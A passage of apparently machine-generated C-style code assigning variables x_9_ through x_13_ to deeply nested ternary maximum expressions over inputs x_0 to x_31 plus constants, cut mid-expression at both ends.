+ x_21)? (14.0 + x_19) : (19.0 + x_21))) > (((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29))? ((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29)))? (((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) > ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))? ((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) : ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))) : (((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29))? ((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29)))));
x_9_ = (((((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) > ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))? ((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) : ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))) > (((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) > ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13))? ((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) : ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13)))? (((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) > ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))? ((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) : ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))) : (((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) > ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13))? ((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) : ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13)))) > ((((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) > ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))? ((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) : ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))) > (((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) > ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29))? ((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) : ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29)))? (((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) > ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))? ((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) : ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))) : (((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) > ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29))? ((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) : ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29))))? ((((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) > ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))? ((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) : ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))) > (((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) > ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13))? ((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) : ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13)))? (((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) > ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))? ((6.0 + x_0) > (19.0 + x_1)? (6.0 + x_0) : (19.0 + x_1)) : ((16.0 + x_3) > (18.0 + x_4)? (16.0 + x_3) : (18.0 + x_4))) : (((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) > ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13))? ((5.0 + x_7) > (14.0 + x_9)? (5.0 + x_7) : (14.0 + x_9)) : ((3.0 + x_12) > (4.0 + x_13)? (3.0 + x_12) : (4.0 + x_13)))) : ((((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) > ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))? ((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) : ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))) > (((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) > ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29))? ((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) : ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29)))? (((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) > ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))? ((4.0 + x_14) > (19.0 + x_16)? (4.0 + x_14) : (19.0 + x_16)) : ((1.0 + x_17) > (3.0 + x_20)? (1.0 + x_17) : (3.0 + x_20))) : (((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) > ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29))? ((11.0 + x_23) > (6.0 + x_24)? (11.0 + x_23) : (6.0 + x_24)) : ((14.0 + x_28) > (11.0 + x_29)? (14.0 + x_28) : (11.0 + x_29)))));
x_10_ = (((((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) > ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))? ((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) : ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))) > (((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) > ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18))? ((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) : ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18)))? (((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) > ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))? ((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) : ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))) : (((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) > ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18))? ((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) : ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18)))) > ((((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) > ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))? ((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) : ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))) > (((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) > ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31))? ((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) : ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31)))? (((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) > ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))? ((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) : ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))) : (((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) > ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31))? ((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) : ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31))))? ((((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) > ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))? ((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) : ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))) > (((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) > ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18))? ((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) : ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18)))? (((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) > ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))? ((8.0 + x_0) > (2.0 + x_1)? (8.0 + x_0) : (2.0 + x_1)) : ((3.0 + x_9) > (18.0 + x_10)? (3.0 + x_9) : (18.0 + x_10))) : (((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) > ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18))? ((16.0 + x_14) > (4.0 + x_16)? (16.0 + x_14) : (4.0 + x_16)) : ((18.0 + x_17) > (5.0 + x_18)? (18.0 + x_17) : (5.0 + x_18)))) : ((((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) > ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))? ((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) : ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))) > (((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) > ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31))? ((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) : ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31)))? (((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) > ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))? ((14.0 + x_20) > (10.0 + x_21)? (14.0 + x_20) : (10.0 + x_21)) : ((1.0 + x_22) > (6.0 + x_24)? (1.0 + x_22) : (6.0 + x_24))) : (((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) > ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31))? ((8.0 + x_25) > (4.0 + x_26)? (8.0 + x_25) : (4.0 + x_26)) : ((9.0 + x_30) > (15.0 + x_31)? (9.0 + x_30) : (15.0 + x_31)))));
x_11_ = (((((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) > ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))? ((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) : ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))) > (((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) > ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16))? ((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) : ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16)))? (((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) > ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))? ((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) : ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))) : (((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) > ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16))? ((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) : ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16)))) > ((((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) > ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))? ((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) : ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))) > (((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) > ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31))? ((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) : ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31)))? (((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) > ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))? ((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) : ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))) : (((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) > ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31))? ((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) : ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31))))? ((((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) > ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))? ((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) : ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))) > (((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) > ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16))? ((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) : ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16)))? (((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) > ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))? ((20.0 + x_1) > (12.0 + x_2)? (20.0 + x_1) : (12.0 + x_2)) : ((12.0 + x_4) > (2.0 + x_6)? (12.0 + x_4) : (2.0 + x_6))) : (((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) > ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16))? ((4.0 + x_7) > (17.0 + x_9)? (4.0 + x_7) : (17.0 + x_9)) : ((12.0 + x_12) > (6.0 + x_16)? (12.0 + x_12) : (6.0 + x_16)))) : ((((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) > ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))? ((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) : ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))) > (((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) > ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31))? ((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) : ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31)))? (((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) > ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))? ((14.0 + x_17) > (6.0 + x_19)? (14.0 + x_17) : (6.0 + x_19)) : ((13.0 + x_22) > (6.0 + x_27)? (13.0 + x_22) : (6.0 + x_27))) : (((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) > ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31))? ((1.0 + x_28) > (10.0 + x_29)? (1.0 + x_28) : (10.0 + x_29)) : ((15.0 + x_30) > (10.0 + x_31)? (15.0 + x_30) : (10.0 + x_31)))));
x_12_ = (((((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) > ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))? ((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) : ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))) > (((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) > ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18))? ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) : ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18)))? (((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) > ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))? ((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) : ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))) : (((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) > ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18))? ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) : ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18)))) > ((((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) > ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))? ((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) : ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))) > (((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) > ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31))? ((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) : ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31)))? (((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) > ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))? ((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) : ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))) : (((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) > ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31))? ((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) : ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31))))? ((((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) > ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))? ((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) : ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))) > (((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) > ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18))? ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) : ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18)))? (((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) > ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))? ((12.0 + x_0) > (14.0 + x_2)? (12.0 + x_0) : (14.0 + x_2)) : ((13.0 + x_4) > (13.0 + x_7)? (13.0 + x_4) : (13.0 + x_7))) : (((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) > ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18))? ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)) : ((4.0 + x_10) > (17.0 + x_18)? (4.0 + x_10) : (17.0 + x_18)))) : ((((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) > ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))? ((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) : ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))) > (((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) > ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31))? ((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) : ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31)))? (((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) > ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))? ((20.0 + x_19) > (1.0 + x_20)? (20.0 + x_19) : (1.0 + x_20)) : ((3.0 + x_21) > (6.0 + x_22)? (3.0 + x_21) : (6.0 + x_22))) : (((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) > ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31))? ((4.0 + x_25) > (16.0 + x_27)? (4.0 + x_25) : (16.0 + x_27)) : ((9.0 + x_29) > (14.0 + x_31)? (9.0 + x_29) : (14.0 + x_31)))));
x_13_ = (((((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) > ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))? ((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) : ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))) > (((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) > ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16))? ((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) : ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16)))? (((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) > ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))? ((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) : ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))) : (((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) > ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16))? ((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) : ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16)))) > ((((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) > ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))? ((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) : ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))) > (((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) > ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29))? ((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) : ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)))? (((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) > ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))? ((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) : ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))) : (((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) > ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29))? ((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) : ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29))))? ((((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) > ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))? ((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) : ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))) > (((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) > ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16))? ((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) : ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16)))? (((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) > ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))? ((2.0 + x_2) > (6.0 + x_4)? (2.0 + x_2) : (6.0 + x_4)) : ((12.0 + x_5) > (11.0 + x_9)? (12.0 + x_5) : (11.0 + x_9))) : (((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) > ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16))? ((14.0 + x_11) > (6.0 + x_13)? (14.0 + x_11) : (6.0 + x_13)) : ((15.0 + x_14) > (3.0 + x_16)? (15.0 + x_14) : (3.0 + x_16)))) : ((((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) > ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))? ((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) : ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))) > (((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) > ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29))? ((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) : ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)))? (((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) > ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : 